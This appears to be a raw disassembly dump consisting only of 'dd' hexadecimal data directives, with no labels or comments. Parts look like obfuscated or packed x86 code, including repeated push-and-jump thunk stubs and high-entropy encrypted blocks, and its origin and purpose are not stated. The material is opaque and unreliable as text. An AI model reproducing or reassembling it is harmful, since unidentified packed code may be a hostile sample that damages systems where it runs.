		dd 0D9CB305Ch, 0A14AB311h, 0A9430FD7h, 0B45B77CFh, 455C78C4h
		dd 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h
		dd 575E55A9h, 0C781E789h, 4, 3304EF83h,	3C31243Ch, 243C3324h
		dd 9A6685Ch, 4890000h, 46396824h, 0C890000h, 3B685724h
		dd 5F36DE56h, 4166BE56h, 0F7017519h, 75E7815Eh,	810B8E06h
		dd 696640F7h, 5FF8890Ch, 240C8B54h, 8104C483h, 4ECh, 24048900h
		dd 8B08418Fh, 8950240Ch, 405E0h, 4050000h, 87000000h, 0FF5C2404h
		dd 81582434h, 4C4h, 1670E900h, 0DDDFFFFAh, 0D9B8744Ch
		dd 307EF64h, 0B7E0FFC5h, 925EA43Ch, 7108D6Ch, 0A208B1A8h
		dd 0F13A504Ch, 0A96BB32Eh, 8A3DFEC5h, 9C63761Eh, 0B81CB80Bh
		dd 67455E35h, 24C1D06h,	0E961D70Ch, 16h, 20B11BA4h, 4 dup(0)
		dd 5DE90000h, 0E7000005h, 2F892454h, 50FC710Bh,	8731BCBEh
		dd 34600D8Fh, 42DA5B21h, 1460F5E5h, 66E63F99h, 0B2CA6DCFh
		dd 0F97B9103h, 1A971374h, 286D5F9Ah, 4A62407Ah,	420ED6A0h
		dd 0F420CDAFh, 8CC81466h, 84300C6Eh, 9F3A0A70h,	0FA10D475h
		dd 0B45BF578h, 7AAA32C4h, 3AD30F8h, 991988ECh, 7B305CC4h
		dd 0F4B9B29h, 58049616h, 6B79C5B7h, 21176CD2h, 0A189D48Bh
		dd 0CFAD410Dh, 0CBB55B77h, 13BA5E7Bh, 0FA623CE7h, 0A2CE2A54h
		dd 3061FBFBh, 305C3F70h, 823602A0h, 0EC79136Dh,	4C45FDA3h
		dd 0DF6E74C8h, 0F33F4B55h, 0CEA842EEh, 0A3DE6876h, 305CB3E3h
		dd 0D92557E5h, 4FD9CBCBh, 5CB45252h, 8E0C230h, 5CB45E79h
		dd 14A13D30h, 0D7FC6AEBh, 76BC766h, 1F4BB566h, 71AB8431h
		dd 3F000000h, 44D6A04Ah, 0D0145CA9h, 0E1E343C1h, 0D0215454h
		dd 1CA93F3Dh, 2506F411h, 0A1FD352Dh, 5C0FBEC0h,	0A851BB30h
		dd 3195996Bh, 8D584h, 0DC90000h, 30B292EAh, 0ED78CAF8h
		dd 0A19394h, 0F22612FDh, 0F4C01C5Eh, 0BCCA1A60h, 602F6F22h
		dd 0C3E1305Ch, 10B0032Ah, 49A1F771h, 6D81356Dh,	759B370Fh
		dd 1FE7750Bh, 35FF9EB2h, 7EDA5B21h, 0B713A2DCh,	0FAD2A74Ah
		dd 8BE89F10h, 0FD93E90Ch, 4E43DD6Fh, 305C644Eh,	0D814DCC6h
		dd 82A834CEh, 640181F0h, 9113305Ch, 0A3D97D59h,	9BE57743h
		dd 96160F4Bh, 0EA93FD4Eh, 9C81890Fh, 0F381B991h, 7C16894h
		dd 49EB8AF2h, 410DD1A3h, 5971CDAFh, 0EDC714B5h,	42843129h
		dd 272516ABh, 68EC8122h, 217CB4C6h, 79h, 0D5A74A81h, 0D1AB4D09h
		dd 0CDAF410Dh, 0F3B74571h, 0BDC71F59h, 262AD72Fh, 3ED27B87h
		dd 0B4C0559Fh, 5A7F8B22h, 5A84588Eh, 0FA93139Eh, 526F167Ah
		dd 20945C44h, 3B976F0Dh, 259569EBh, 51A37019h, 0AD8430F0h
		dd 8Ah,	0D5A74A35h, 0ACE57F09h,	305CC4ECh, 6B27E24h, 1BB78FF1h
		dd 0DC9EBC0Ah, 34DAF64Eh, 8385FA4Ah, 0AA671FDAh, 0BB8967AEh
		dd 0BD5C7025h, 1F96E60Bh, 3ADC78ABh, 28CCE840h,	41CB852h
		dd 0CC24BE86h, 0AA4E1690h, 38710CD0h, 0A1601DFBh, 35D41CB2h
		dd 305C8A9Ah, 61F54150h, 2BB9CB1Bh, 0D4D4CDDBh,	3C305C89h
		dd 2953E666h, 0D6D6CBD5h, 3E305C89h, 7E1F3164h,	7617F97Ch
		dd 311B5BA5h, 0E674D084h, 0FE3A4894h, 1A3h, 0ED780700h
		dd 0DABC8AF9h, 0D8FC3449h, 70DB4336h, 650FAD52h, 7B3092D0h
		dd 0DA68F57Eh, 0D2AC4E0Ah, 52FB1D72h, 52FA8096h, 0CECEC3BDh
		dd 46305C1Fh, 0C27CE5Ch, 0B9BC71E1h, 6E44A491h,	0FDB44ED8h
		dd 305CAEBDh, 3E54D57h,	0B597938Eh, 3D01A337h, 74F97B91h
		dd 0FC4032D8h, 73988305h, 5E069028h, 6062C2BCh,	3C56488h
		dd 4AE68FE9h, 700ED6A0h, 0E43842D4h, 94A612DEh,	45411AEAh
		dd 3C007499h, 87264AA6h, 20CDAF4Dh, 1A0D21E3h, 0A84E168Ch
		dd 4D4D44D6h, 0C72873A4h, 0FBD815DDh, 0EA000000h, 1001A0B3h
		dd 9C32B08Ch, 9A18970Ah, 0A4FE37B5h, 9CDE7C58h,	86FB9511h
		dd 28739A06h, 785C940Eh, 425CA0D2h, 3251EBABh, 57A35CB7h
		dd 1DAFC963h, 12DE9EB1h, 5A030DDEh, 43F28CAEh, 1A6DFEC6h
		dd 4C788Ch, 784A0000h, 0C4F3B3EEh, 801D305Ch, 406DA868h
		dd 74BC52B9h, 9527A4B9h, 5C43BC1Ch, 0BC4E54B0h,	442F6F22h
		dd 0C3E1B05Ch, 4A4A3B77h, 0CDB05C44h, 3E37FAA3h, 42621FA9h
		dd 0D2305C44h, 73E85DD0h, 1E000000h, 448D0D84h,	1D87305Ch
		dd 0A0B3F7D5h, 0B18DEF01h, 960B9D33h, 37B5945Bh, 17BF495Bh
		dd 1EA47800h, 18329ED2h, 0D765D75Eh, 0BA859A5h,	3E287393h
		dd 9BB1731Ah, 160154D9h, 7DFA1B7h, 245DEF7Dh, 30632CF2h
		dd 3C98643Eh, 6F805C1Eh, 72FDC069h, 524C5DE2h, 27F519Fh
		dd 20841B82h, 0E8821092h, 841AF9B9h, 0FB891B20h, 0B4FE3061h
		dd 70322873h, 0A0B345FDh, 0B78FED01h, 6B19A62Ah, 0A1376165h
		dd 16087913h, 1A384B66h, 0A22AB488h, 0A511ED8Fh, 9C54EA92h
		dd 0C0561238h, 0C95C66BEh, 1455CDC0h, 6902630h,	1CDA096Fh
		dd 0D018C7FEh, 0AFC963CDh, 3761AE57h, 0D0644F4Fh, 235DFF29h
		dd 6A142692h, 0AC400C9Ah, 0DF2755F8h, 0D5EF37C5h, 0EB69B91Dh
		dd 0E799BF1Bh, 0E39DB31Fh, 0FBA2B603h, 590004FFh, 42F38DAFh
		dd 0EA3A44D6h, 709A42DCh, 0F5A43E06h, 10E37B5h,	0D61D41A6h
		dd 0FE96F684h, 8734CA4h, 93000000h, 46C4DC78h, 4A72D0EAh
		dd 430FD7A1h, 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh
		dd 6D69B5C7h, 636FB735h, 6753B3CDh, 5E55A9D3h, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 8956243Ch, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 241C895Ch, 3B4768h, 243C8900h
		dd 0BD076DBBh, 0FFC38160h, 81FFFFFFh, 325E41C3h, 43E568A7h
		dd 24890000h, 24048324h, 0C2685F04h, 8900006Ch,	478F241Ch
		dd 243C8B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5B2434FFh
		dd 0E904C483h, 0FFFA10C6h, 0A0C4430h, 856C6872h, 0C71B45F9h
		dd 0EF6A82B8h, 0FFC50307h, 29A96FE0h, 9688AE40h, 700F8C3Ch
		dd 5ADB8630h, 0A9E9E272h, 0C47EE137h, 1A1E912h,	0B1FC0000h
		dd 2C276444h, 98D31AD5h, 0D1D746B1h, 41EFB4CAh,	52E45B7Eh
		dd 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h
		dd 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h
		dd 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh
		dd 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h
		dd 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 8 dup(0)
		dd 0E9000000h, 10D8h, 0EF6EA768h, 0E62EE907h, 9A68FFFAh
		dd 0E907EF6Fh, 0FFFAE624h, 0EF714968h, 0E61AE907h, 2B68FFFAh
		dd 0E907EF72h, 0FFFAE610h, 0EF739668h, 0E606E907h, 9468FFFAh
		dd 0E907EF74h, 0FFFAE5FCh, 0EF754868h, 0E5F2E907h, 0B268FFFAh
		dd 0E907EF75h, 0FFFAE5E8h, 0EF771368h, 0E5DEE907h, 8068FFFAh
		dd 0E907EF77h, 0FFFAE5D4h, 0EF786A68h, 0E5CAE907h, 2D68FFFAh
		dd 0E907EF79h, 0FFFAE5C0h, 0EF79CA68h, 0E5B6E907h, 1668FFFAh
		dd 0E907EF7Bh, 0FFFAE5ACh, 0EF7C4C68h, 0E5A2E907h, 0EB23FFFAh
		dd 0F512A73Fh, 0F08C9D1h, 1F7ADFC7h, 306EE3FBh,	0D658F6ECh
		dd 62789CFAh, 7169B5EFh, 861CC4C0h, 960CDC33h, 5CC06B39h
		dd 1CA92EF1h, 0DF7E3F99h, 0F5FA1CC4h, 0E8386FEEh, 3CEC238Eh
		dd 24BA0FA6h, 6AA524B4h, 841F44A6h, 289DD21Fh, 0EF0B48A9h
		dd 566C80A8h, 0CF374B99h, 6AB6ED6Ch, 0CCB6DE7Fh, 37A213FFh
		dd 0CE000000h, 0AACC140Fh, 539A3EA5h, 62A6E216h, 5D82425Fh
		dd 9EB9A44Fh, 0E0F3A928h, 6A271186h, 0DEE09956h, 0BE35C528h
		dd 99566992h, 219E0556h, 13FFD3D5h, 0E285h, 584FDB00h
		dd 0FD326E88h, 0B85EBDE0h, 5AF9E093h, 137E983Ch, 0E7CA2CFCh
		dd 0FD7A60B0h, 0A13FBB1Dh, 5C91EE41h, 36FEA827h, 37537793h
		dd 0EB229108h, 0FB12A73Fh, 6DFACB2Fh, 53C2697Bh, 59A928F5h
		dd 14769EF8h, 5C4CB42Fh, 56D169D7h, 52EB0699h, 6482FAB9h
		dd 108ECF0Ch, 32D63190h, 5DF0EBE8h, 22EC508h, 0C6995767h
		dd 0CF6474B5h, 0A1433E2Bh, 31900053h, 20A133D3h, 22B823E3h
		dd 0B7650E9Eh, 73916B8Eh, 8E94B833h, 754916Bh, 1E7CDBC6h
		dd 0F6F205FEh, 335D2E06h, 0E61AAh, 60B0E800h, 1ABAD77Ah
		dd 8D4CD8Ch, 3CE43F92h,	0D1F513A6h, 0BD1113C9h,	9227BF5Fh
		dd 8336AC78h, 0F65B4387h, 0FC6B739Fh, 0F299872Ch, 4451A92Eh
		dd 8D514FF8h, 0EE6DA415h, 3F84D745h, 34093A1h, 0ED63091h
		dd 53BF1F93h, 80108016h, 3F8445EBh, 0EBF605A1h,	9EABD65Dh
		dd 0F0E1A928h, 252A4C94h, 1468A86h, 6986B6E5h, 3D419956h
		dd 0D3294DC9h, 17B613FFh, 8CB3D7FBh, 0B47015h, 0CF200000h
		dd 5BF82CAEh, 0BE1A8175h, 6E88584Fh, 0D3C10503h, 0E9F01472h
		dd 0B8D4752Dh, 0D2C9F610h, 3F89B149h, 55859CA1h, 45958C4Dh
		dd 709CF657h, 8BD8AD69h, 90FA1A77h, 4EB8A5Fh, 98D9714Bh
		dd 73A2495Bh, 41A92827h, 0AEEF3750h, 56489D30h,	0D83CA942h
		dd 4D8EA141h, 7FA3FE5Fh, 0F554E464h, 2C137797h,	0C40806B5h
		dd 0F91D7BDEh, 56FB04h,	0A74E682Eh, 0D6Eh, 756DBDD5h, 9F07C7C4h
		dd 0AD35E13Ah, 0B129F12Ch, 0C4C20200h, 6AA8046Eh, 839D3CAAh
		dd 928E435Bh, 0AAE1504Eh, 39CB607Eh, 2EF38EB2h,	0ED4F4AA9h
		dd 158D514Fh, 2FBD6DA4h, 34AF73AEh, 0B17E1EBEh,	107F11EBh
		dd 0E4534E82h, 89197DADh, 739BEDA6h, 0F5EC146Eh, 1B834F46h
		dd 198B1DAAh, 6AFB26D6h, 6A7194EFh, 8E8B4ADAh, 0C7CE534Eh
		dd 0C5A928D3h, 0C6DD0D04h, 0C9D93D3Eh, 0FE1AF639h, 8D08334Eh
		dd 572E1804h, 1883D099h, 572DA993h, 0A6406299h,	0F0CFE847h
		dd 0F30A2B11h, 0E1F77E8h, 2DAC13FFh, 0D6BF2AF6h, 83h, 0E216538Eh
		dd 0DE0561A5h, 534A0B99h, 842F6387h, 0A13F8498h, 0C7C20350h
		dd 0A647A249h, 475A928h, 6783C008h, 56630830h, 47BFC399h
		dd 71DF54E4h, 29995662h, 0F61EBF2Ah, 6213FFD5h,	43h, 0D316533Ah
		dd 3F84F458h, 66A7B4A1h, 0D80DE272h, 0F691560Dh, 520B900Bh
		dd 0C8A92910h, 0C7617B67h, 6C77552Fh, 5F3357A4h, 0BA58E690h
		dd 31A82228h, 570780A8h, 0CF374B99h, 0FF353343h, 112713h
		dd 8B790000h, 930h, 3AE68D1Dh, 0FEA13F85h, 7E52E6FDh, 257FC1DFh
		dd 115EB8F9h, 1C92D78Ah, 0F1DAE78Ch, 350A92Eh, 9D93091h
		dd 39E92091h, 0AC901BABh, 6C995018h, 2382746Fh,	0BA030A6h
		dd 0A13F8455h, 9332A6B5h, 0B236AC7Ch, 0B5D1F513h, 6DA4138Eh
		dd 0DF6459BDh, 8114DBC9h, 659D33D2h, 620FD851h,	185E4631h
		dd 0A1680381h, 0DB9949DBh, 0AB7CA04Bh, 3F3C8977h, 621F5CA4h
		dd 3612DB87h, 0BF1FA6C0h, 600000Bh, 75C4C20Eh, 6BEEF418h
		dd 5DFCEA32h, 0B1009E42h, 0BD2BB353h, 1DC1DFB3h, 32DA3485h
		dd 21E92594h, 0D10118B9h, 0E58E12C9h, 0A92EF637h, 7E1AA6F3h
		dd 0FA1CC4DFh, 17BBD6F5h, 4CD5CCF3h, 0A13F85DCh, 6E6274F1h
		dd 2EEEE8C5h, 697182A9h, 6B796FF4h, 7CA04BDBh, 44995017h
		dd 501781AFh, 0DE3A3999h, 489D069Dh, 0D2A13F83h, 5BB21381h
		dd 393178Fh, 60ABC468h,	6C778491h, 766AB6EDh, 8E1C72B9h
		dd 202F4B97h, 3758AFEFh, 0CE1B6AACh, 0B338C8D8h, 91613D8Dh
		dd 15930E4Dh, 6C6C485h,	0A962169Bh, 0A5B69950h,	537F9637h
		dd 4F8F864Bh, 0A4D6F544h, 43A7E495h, 71B8E654h,	0BD19D609h
		dd 0C8180FF8h, 58A4CA87h, 90FA1E79h, 50954853h,	5CA14A5Eh
		dd 5E115B7Dh, 73B3601Dh, 0BED8BE63h, 0ADD17h, 0FC2C6400h
		dd 963653E6h, 84504908h, 0B860BB1Eh, 0AD71AF22h, 39959F35h
		dd 2EA33BDBh, 1FB228F4h, 72C7DF03h, 78D7CF1Bh, 0F71D03A8h
		dd 0D8DDA92Eh, 8016537Ch, 0B054B110h, 84A58B20h, 1665A13Fh
		dd 5B76FD8Bh, 0F1A92EF0h, 0D55EEEE2h, 99501867h, 3BC9D023h
		dd 2BEF2AABh, 0BA1980CFh, 9B2FB763h, 18BC600Bh,	7F7C9950h
		dd 41BED564h, 501886AAh, 37534299h, 0B487793h, 88DDA0CAh
		dd 0E0E98216h, 62A13F83h, 0EC8A3E1Dh, 54A520Ah,	51DF3697h
		dd 3DAFEC38h, 6F14E1F2h, 647F98E7h, 86346BEEh, 0E406478Bh
		dd 3E524481h, 465D819Fh, 0E85F2DC6h, 0A2239950h, 575CB068h
		dd 0CA387210h, 67626185h, 22E22091h, 376EEFFDh,	0D969F9EBh
		dd 721CEE52h, 20A9AA89h, 89721CFCh, 1AC6DDBCh, 8534CED5h
		dd 8F4E428Eh, 242B4F93h, 0EA5259BDh, 0E389721Ch, 0D0607066h
		dd 0D7F21671h, 61883342h, 693E4191h, 48F1DF85h,	51F0E021h
		dd 41F0EE3Ah, 250A9E4Ah, 0C7C3FE21h, 0B7F8E703h, 9318DF9Bh
		dd 818303ADh, 8A296E6Dh, 0A551488Ch, 6AD65DEDh,	2E818303h
		dd 834BF2Dh, 0C0818304h, 30B528B3h, 34812ABEh, 0C689726Fh
		dd 6DA627B5h, 0C4DC3AA1h, 9791BF34h, 0A497993h,	31A73C9Fh
		dd 0B5AD08A3h, 1C5F817Ch, 400B4463h, 2CC9D70Eh,	972h, 8911C1D9h
		dd 930BCBC8h, 0A139E53Eh, 0B52DF510h, 0D8C60604h, 6EAC0062h
		dd 878130AEh, 96F2475Fh, 0AEE55472h, 3DCF6462h,	2EF78AB6h
		dd 0E94B4EA9h, 6E88584Fh, 0BADC0C03h, 13897DA1h, 48F47FFCh
		dd 0A13F84h, 0E64AE1F3h, 0A2A13F84h, 0D98A1051h, 0C16B8BDh
		dd 7ADh, 688BE300h, 29000005h, 18C8DF7Eh, 1CD8C081h, 23BE62BDh
		dd 0CCC73B88h, 74D5C704h, 58E8F31Bh, 28AAC2D3h,	9318A8A9h
		dd 99565DADh, 1256E6Dh,	0DF05CDBEh, 0FDFE069Dh,	0D4F48E15h
		dd 0BF706C61h, 9F6C4EF2h, 3BE25F3h, 2BC0D0C6h, 0CE32E312h
		dd 2C6C1B0h, 50BAFBF8h,	50888140h, 0EAB35761h, 0D73370F4h
		dd 95EF1E8h, 46440597h,	647F6486h, 78B84FE4h, 79B6C64Dh
		dd 0FA6B15E7h, 0C0EB4C84h, 1DA94525h, 3C3FC5DCh, 2AF62DACh
		dd 0D7FB17B6h, 9D158CB3h, 3E57E53Ch, 0ABAC5196h, 38CB1EF5h
		dd 874771Eh, 0C3DB0000h, 0CDCA8F17h, 0E7209109h, 0F712A73Fh
		dd 806CBD3h, 0FE60DEC4h, 4A507492h, 59418D87h, 6E749CF8h
		dd 7E64B4EBh, 84A843C1h, 44A92EF8h, 584FD771h, 8ADBC84h
		dd 41B2A3EAh
		dd 58860950h, 47A3E087h, 0E2F81C7Ah, 8B82F673h,	0F7343B5Fh
		dd 0E02864E5h, 0C3C06BF9h, 0B5A92F55h, 7C9332A6h, 0A2F33CACh
		dd 1C3443h, 0F445DDC4h,	54294D9Dh, 7B0B990Fh, 0FD19BDDAh
		dd 6DB9D3F6h, 4ADFCA09h, 0A13FD083h, 1BBBD879h,	4BE0F0FFh
		dd 9160F9E5h, 0C54B56A5h, 6CA322B6h, 4DA226BCh,	0A5C0B272h
		dd 31801BD4h, 85EC0EDAh, 97BA4787h, 202E0B88h, 7C07F06h
		dd 0F070000h, 1976DBC3h, 336CEDF5h, 435EF3EBh, 54B2079Fh
		dd 0B2BC2AB0h, 861CC0DEh, 950DD933h, 0BA20E824h, 0CAD00017h
		dd 38E48F1Dh, 0F0A92EFAh, 16531BA5h, 529B1080h,	0D0A92EF0h
		dd 59B01183h, 69A01189h, 0D91AC2DBh, 0BBFF1D4Bh, 90FA3B46h
		dd 9206982Dh, 0AB36D633h, 0ABE7961Dh, 2E2DA138h, 0DDA0455h
		dd 1CB9C72Eh, 756h, 6D75A5FDh, 776FAFECh, 851DC9C2h, 0A931D934h
		dd 0BC2AEA28h, 52B01C06h, 6BA514B2h, 7A963BA3h,	92894856h
		dd 21E35846h, 2EF9A68Ah, 0F55762A9h, 1184584Fh,	7D30A353h
		dd 1ABB296Eh, 8DB2D400h, 20B0E016h, 4060A58Bh, 8B1665A1h
		dd 9705D5CCh, 3451DF36h, 0CE485390h, 27759195h,	9BA20F0h
		dd 0C15D8EDh, 1B9Dh, 0DF7E3300h, 0F78219C5h, 337h, 0B69A11A1h
		dd 72A13F84h, 82464261h, 0D4607B78h, 1888584Fh,	7DB662B9h
		dd 12D4AF66h, 0FF792CEh, 0C4680393h, 84A13FF2h,	74F16C77h
		dd 0BADC0400h, 0A08C27B5h, 58A13FF2h, 7C6DA1Bh,	0BCA3C70Bh
		dd 0BD0CA725h, 47A92F5Fh, 0F42BAE34h, 0A67BB424h, 874B4696h
		dd 857884Ah, 0C22D6591h, 3CD9114Bh, 0C4736E69h,	0E22A64C6h
		dd 0DD02C2DFh, 0F30060CFh, 6BDDF5B4h, 0E766FA70h, 0DC7F6AAAh
		dd 83A94287h, 47995101h, 4EE5F734h, 0A1406D5Eh,	2C3D122h
		dd 72C7DF0Bh, 0C6ABCF1Bh, 49404C8h, 66804C45h, 96CC7079h
		dd 1C8C9161h, 6196A997h, 2D126191h, 86B612E0h, 0C7C2BE7Ah
		dd 58D3633Fh, 916263F4h, 73CCBF93h, 0B9D3488Bh,	0F01ABAD8h
		dd 0B417B2F3h, 9B2BB92Fh, 0D234E03Ah, 446DF6EDh, 0FE994B58h
		dd 77DD00FDh, 80AE3613h, 5F5E5h, 94445C00h, 8E4E4B0Eh
		dd 0BC68A110h, 50789326h, 4589874Ah, 117DE75Dh,	6CBD3F3h
		dd 77DAC00Ch, 6AEFF71Bh, 40FFE733h, 0FC052BC0h,	0F0C5A92Eh
		dd 88584F54h, 0DC0C036Eh, 0CF0F0DCCh, 9123A8ABh, 421B80B5h
		dd 6770861Dh, 3269C323h, 2F47F8E6h, 5B0C15B9h, 7, 18C8B7Dh
		dd 4F290000h, 0FAF78858h, 89DE2AFDh, 588C66Fh, 0D7CF0000h
		dd 0E13E930Bh, 0FB14A53Dh, 0B06CBD3h, 1C7ADFC7h, 0EA74E2F8h
		dd 5E448886h, 6D75A1FBh, 7268B0ECh, 8218C8DFh, 70DC57D5h
		dd 28A92EFBh, 584FC36Dh, 0C036E88h, 13A1BADCh, 8444E883h
		dd 514DA13Fh, 19726389h, 65AAA9CDh, 8450FC77h, 0CB08A13Fh
		dd 54C83ED0h, 75F5ED3Dh, 0E35975BAh, 0A7226B7Ch, 15EAEE06h
		dd 2A9A0Ch, 47060000h, 0BF198050h, 1EC6DF7Eh, 567A95FCh
		dd 0FB0F8A11h, 0AD000000h, 19C5DF7Eh, 0B2F2FAFDh, 0B9F3276Eh
		dd 0E7166178h, 4A000000h, 19C5DF7Eh, 70EBF6FDh,	1705AEF3h
		dd 0D3A13F85h, 84F458D3h, 0A7B4A13Fh, 23B32166h, 0E4A6A8CCh
		dd 94F2D850h, 0E8291670h, 696168F1h, 90E3A92Fh,	93474100h
		dd 2FBCB27h, 607BB8C4h,	1C92D796h, 0F57AE78Ch, 0A3B0A139h
		dd 2A5EBDEh, 0CB527C2Eh, 49Eh, 0A53DED25h, 0CFD7F714h
		dd 0DDC5110Ah, 0E1F9217Ch, 0F4923250h, 9AF8D45Eh, 0B3ED6C7Ah
		dd 0C2DE736Bh, 0DA31801Eh, 693B900Eh, 2EFC5EC2h, 3D9F1AA9h
		dd 58D31653h, 0A13F84F4h, 56BCABB4h, 1EDE9E0Eh,	630898D9h
		dd 0A9290313h, 2B9CFA5Bh, 56689C80h, 0DE1F5C99h, 17B7D5BCh
		dd 1D8FCCF3h, 5668AA96h, 766D6E99h, 0FE5F4D8Eh,	0FA6179A5h
		dd 99566853h, 9914158h,	5FD44F48h, 995668F1h, 1662A2E0h
		dd 0DB6284C5h, 416h, 0C91162CDh, 0ADFA755Fh, 16538236h
		dd 529B1080h, 0D0A92EF1h, 0C1066783h, 51CBD2Fh,	0AE3ECED5h
		dd 88D85A41h, 0A8333D6Dh, 392B5E03h, 0A25F9CA1h, 2E0D73FDh
		dd 0DBA5406Eh, 62000003h, 51E0FE2Ah, 470A9034h,	0B918864Eh
		dd 0AD2CBA5Eh, 9937AF6Fh, 39DD3B97h, 2EF610A1h,	0DD0501B0h
		dd 0CD1D74C5h, 1AA7ED5h, 0A92EFE1Bh, 537EDADFh,	9B108016h
		dd 0A92EF156h, 0B41587D4h, 5BE8815Dh, 0F478D5Eh, 6EAF6FACh
		dd 12CAC170h, 76AA25FEh, 6D89CEAFh, 5CB7CB18h, 0F115B9D6h
		dd 66698DF2h, 8FCAD086h, 93D01126h, 76F66A01h, 152A13Fh
		dd 49420393h, 60B7069Dh, 70A72AB0h, 8B4A46A0h, 3D224494h
		dd 28BE0BA6h, 0B8EA33B8h, 0EBE89949h, 12F9BF16h, 7AEC836h
		dd 33Eh, 455D8D85h, 6F7797F4h, 7D65B1EAh, 8119C1DCh, 9432D230h
		dd 3A58343Eh, 534D0C9Ah, 62BE138Bh, 7A9120BEh, 99B30AEh
		dd 2EFDBE62h, 9D3F7AA9h, 6E88584Fh, 0C6DC0C03h,	1339B242h
		dd 0D7A13F85h, 25A21D84h, 478A21B3h, 0BDA9289Dh, 6B9A862Dh
		dd 0F9179956h, 25BCBFD5h, 3D7A9CDFh, 99566C0Bh,	0F644A2DCh
		dd 13FFCD9Eh, 43CAh, 16538200h,	0F69B1080h, 34A9289Eh
		dd 58D34C45h, 99566AF4h, 2166A7B4h, 0A48823B3h,	6499566Ah
		dd 0D8A8C17h, 99566B1Bh, 0E634D2ECh, 13FFD28Eh,	0BB63BC1Dh
		dd 40DF105Fh, 98F5F2A8h, 0EB13746Fh, 0B5000000h, 6E88584Fh
		dd 527A9332h, 21900B48h, 0FAC723E3h, 8A6577A3h,	0D4176C99h
		dd 0A75F4A1Eh, 8517C3DAh, 423A90AAh, 757A9C48h,	37858938h
		dd 48537B94h, 0ADD535B2h, 61B8A13Fh, 71A829B1h,	0E36045A1h
		dd 8E4FDFCDh, 0DA464F93h, 9EA13FA3h, 0A3B7650Eh, 6073A13Fh
		dd 9828B823h, 874F4908h, 3FA4220Eh, 0C896C1A1h,	11C893C4h
		dd 78E1F8FBh, 0A928CEC5h, 974E54A7h, 0A74C5C52h, 0A14264AAh
		dd 60E1F300h, 5EEEE222h, 6AB467D5h, 0C9D02391h,	42828031h
		dd 1CDECA1h, 0B4517F2Eh, 1F2h, 9914159h, 138B4B48h, 21B965BEh
		dd 35AD7590h, 58468684h, 0EE2C80E2h, 701B02Eh, 1672C7DFh
		dd 2E65D4F2h, 0BD4FE4E2h, 2F000A36h, 69CBCEA9h,	2C2DF7Eh
		dd 51E0FBF8h, 770B9333h, 0F511BDD6h, 2D64D3CEh,	0E465E5FDh
		dd 0DF0466A6h, 0DF7E70C4h, 0F9257EC4h, 8D1D5EB8h, 0B59539DCh
		dd 5CB51455h, 31B629B0h, 3C9D2DBFh, 9B3F5AE0h, 0A833305Ah
		dd 28B55E03h, 0F554E4A9h, 0D57B709Ch, 95995680h, 0A6B55B46h
		dd 80E55744h, 0F2A69956h, 0F7923A53h, 53A3EF17h, 713FFBCh
		dd 0F0h, 88584F59h, 0C105036Eh,	888243D3h, 0BC353A5Ch
		dd 0A13F8490h, 66900B48h, 0AA72AB2Ah, 1A910340h, 0A13F8536h
		dd 71FAE1F2h, 0A13F8999h, 554D9DF4h, 197DADE4h,	1B891FA4h
		dd 4461A48Bh, 2A1907ACh, 82D1A13Fh, 5484CA51h, 969A44Dh
		dd 0F43BA928h, 40184FDh, 0A6D28FC0h, 80444160h,	0F0E0F319h
		dd 8A65CB60h, 85259955h, 558A42EEh, 0B4F50699h,	0AB38952Dh
		dd 0F20CA735h, 0AA1415Fh, 0E44BDBC9h, 7B3183A7h, 79D8C39Fh
		dd 6EE3FB1Bh, 9013EC30h, 0DB2E0002h, 0BC10BDh, 0B030000h
		dd 1572C7DFh, 2F68E9F1h, 3F5AFFE7h, 504E039Bh, 0B6B8168Ch
		dd 8218BCDAh, 9109D5CFh, 0A63CE420h, 0B62CFC13h, 3CE08B19h
		dd 0FCA92F01h, 0EE7E1FB9h, 3F84D745h, 19BDDAA1h, 408482F3h
		dd 0A363A003h, 5B7B9938h, 842FBF43h, 0A13F8498h, 39980350h
		dd 2CA836E2h, 0AEEA584Fh, 0D1C1256Ah, 0A9E3FB1Eh, 0D6560280h
		dd 5F1D56C4h, 7DDCC7F7h, 5CECFA26h, 647F9FFDh, 766A7CC9h
		dd 2F467BFDh, 7294E7A9h
		dd 514AF82Fh, 0FB5E4485h, 651274A4h, 0FCFC3FA6h, 9E0EF80Ah
		dd 8E435B87h, 25ED2997h, 0E43F82E4h, 7F9B475Eh,	0EBD73370h
		dd 0E43B7195h, 0F42BAE34h, 33BC224h, 59000000h,	574F2E8Ah
		dd 0B026F8Bh, 0BAD6BBDFh, 73ADF416h, 24624FABh,	0DD3B86E0h
		dd 99F4DD39h, 534C1571h, 5026F8Bh, 56B7A5C1h, 0C6815E54h
		dd 4, 8704EE83h, 685C2434h, 6F1Ah, 68242C89h, 205h, 52240489h
		dd 0EF6D6CBAh, 8BD58907h, 0C4812414h, 4, 623868h, 24248900h
		dd 4240481h, 58000000h,	31B95155h, 294C2537h, 5904244Ch
		dd 8108408Fh, 37310840h, 48B4C25h, 0E7895724h, 4C781h
		dd 0C7830000h, 243C8704h, 2434FF5Ch, 4C4815Dh, 0E9000000h
		dd 0FFFAD568h, 5049CABFh, 0CDEFADB2h, 0EF7D2DB8h, 0FFC50307h
		dd 0CD30B2E0h, 0DC414E7Fh, 6735564Ch, 0AE047F25h, 0E49FC97Fh
		dd 8F38CC1Eh, 794F5239h, 80D8371Fh, 3E8FF14Dh, 7348246Ch
		dd 680E2B71h, 0D0C41E6Fh, 0B12BF829h, 0B9C1E014h, 2869B075h
		dd 0F4AFE673h, 1C4A6146h, 0A0813D70h, 0A0C01021h, 0F563F5Ah
		dd 0EFBC2A23h, 86C0B76Eh, 5E824h, 2ABA0000h, 0FC93C264h
		dd 0DB81665Ah, 0C281F628h, 5E60h, 4A4BB66h, 1767BFh, 0F783BB00h
		dd 0A8B594Ch, 81B3E080h, 0BB028AF1h, 81F18B41h,	0D437A0E9h
